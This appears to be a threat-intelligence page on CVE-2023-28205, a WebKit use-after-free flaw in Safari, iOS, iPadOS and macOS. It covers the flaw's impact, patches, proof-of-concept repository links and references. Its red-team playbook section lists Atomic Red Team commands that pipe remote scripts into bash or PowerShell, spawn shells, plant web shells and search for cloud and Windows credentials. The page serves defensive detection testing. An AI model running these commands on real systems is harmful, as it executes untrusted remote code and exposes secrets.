CVE-2023-28205
Overview
This vulnerability is a use-after-free flaw caused by improper memory management in the Safari web content processing engine. Specifically, the issue arises when Safari handles maliciously crafted web content, leading to a dangling pointer referencing freed memory. The affected components include Safari browser versions and the underlying WebKit engine on Apple iOS, iPadOS, and macOS platforms.
Vulnerability Description
A use after free issue was addressed with improved memory management. This issue is fixed in Safari 16.4.1, iOS 15.7.5 and iPadOS 15.7.5, iOS 16.4.1 and iPadOS 16.4.1, macOS Ventura 13.3.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
Impact
An attacker can execute arbitrary code with the privileges of the Safari process by convincing a user to visit a maliciously crafted webpage. This requires user interaction in the form of browsing to the malicious content but no prior authentication. Successful exploitation can lead to full compromise of the affected device, including unauthorized access to sensitive information and control over system functions, potentially enabling further lateral movement or persistent access.
Solution
Apple has addressed this vulnerability in Safari 16.4.1, iOS 15.7.5 and 16.4.1, iPadOS 15.7.5 and 16.4.1, and macOS Ventura 13.3.1. Users should apply these updates promptly. Detailed patch instructions and update availability are documented in Apple security support advisories HT213721, HT213722, and HT213723 available at https://support.apple.com/en-us/HT213723.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a use-after-free issue, which is a common type of memory corruption flaw. This specific vulnerability affects several Apple products, including Safari, iOS, iPadOS, and macOS. Use-after-free vulnerabilities occur when a program continues to use a pointer after the memory it points to has been freed. In this case, the flaw is rooted in the handling of memory management within the affected applications, allowing an attacker to manipulate web content in such a way that it could lead to arbitrary code execution. This means that maliciously crafted web pages could exploit this flaw to execute unauthorized commands or code on the user's device, potentially compromising the integrity and confidentiality of the system.
The attack vectors for this vulnerability primarily involve the exploitation of web browsers, specifically Safari. An attacker could craft a malicious website designed to trigger the use-after-free condition when visited by a user. This could be achieved through various means, such as phishing attacks, social engineering, or by embedding malicious scripts in seemingly benign web pages. Once the victim interacts with the compromised content, the attacker could gain control over the device, allowing them to execute arbitrary code. This exploitation could lead to various malicious outcomes, including the installation of malware, data theft, or unauthorized access to sensitive information.
The real-world impact of this vulnerability is significant, particularly given its high CVSS score of 8.8, indicating a critical risk level. Organizations and individuals using affected Apple products are at risk of severe consequences, including data breaches and loss of sensitive information. For businesses, the potential for reputational damage, financial loss, and regulatory penalties can be substantial. The exploitation of this vulnerability could also lead to a broader compromise of corporate networks if attackers gain access to internal systems through exploited devices. As such, the business risk associated with this vulnerability necessitates immediate attention and action from security teams.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating all affected Apple products to the latest versions is crucial, as the vendor has released patches to address the issue. Additionally, organizations should employ web filtering solutions to block access to known malicious sites and educate users about the risks of clicking on suspicious links or visiting untrusted websites. Implementing endpoint protection solutions that can detect and respond to unusual behaviors or unauthorized code execution attempts can further enhance security. Regular security assessments and penetration testing can also help identify potential weaknesses in the environment that could be exploited by attackers.
In conclusion, the use-after-free vulnerability presents a serious threat to users of Safari, iOS, iPadOS, and macOS. The potential for arbitrary code execution through malicious web content underscores the importance of robust memory management and security practices. Organizations must remain vigilant, ensuring that they apply necessary updates and educate users on safe browsing practices to mitigate the risks associated with this and similar vulnerabilities. By adopting a proactive security posture, businesses can better protect themselves from the evolving landscape of cyber threats.
CSURFACE threat intelligence has detected a notable surge in activity related to CVE-2023-28205, indicating increased exploitation attempts targeting the use-after-free vulnerability in Apple’s WebKit engine. Our telemetry reveals a marked escalation in detection events, suggesting adversaries are intensifying efforts to leverage this flaw despite the availability of patches. Concurrently, new proof-of-concept exploits have emerged publicly, lowering the technical barrier for threat actors to weaponize this vulnerability. Although the EPSS score remains stable, the uptick in exploitation signals heightened operational interest, which elevates the likelihood of successful compromise in unpatched environments. This development underscores an increased risk posture for organizations relying on affected Apple platforms, as attackers may integrate this vulnerability into broader attack chains, potentially including targeted intrusions or opportunistic campaigns.
Update 2 — August 04, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-28205, with our telemetry indicating a doubling in detection frequency over recent monitoring periods. This surge coincides with the continued availability and refinement of public proof-of-concept exploits, which have lowered the technical barriers for adversaries to operationalize this use-after-free vulnerability in Apple WebKit. Although the EPSS score remains stable, the increased exploitation signals a growing interest among threat actors, potentially expanding the scope of attacks leveraging this flaw. For defenders, this development signifies an elevated risk environment, particularly for organizations with unpatched Apple devices, as attackers may integrate this vulnerability into multi-stage intrusion campaigns. The heightened activity underscores the urgency of maintaining updated defenses and monitoring for related indicators of compromise, as the threat landscape around CVE-2023-28205 becomes more active and sophisticated.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ntfargo/uaf-2023-28205
PoC CVE-2023-28205: Apple WebKit Use-After-Free Vulnerability
|
ntfargo | 17 | 5 | 2024-11-30 | View |
|
seregonwar/uaf-2023-28205
PoC CVE-2023-28205: Apple WebKit Use-After-Free Vulnerability
|
seregonwar | 8 | 0 | 2026-01-04 | View |
Threat Feed
10 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-28205 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213723 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213722 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213721 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213720 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-28205 |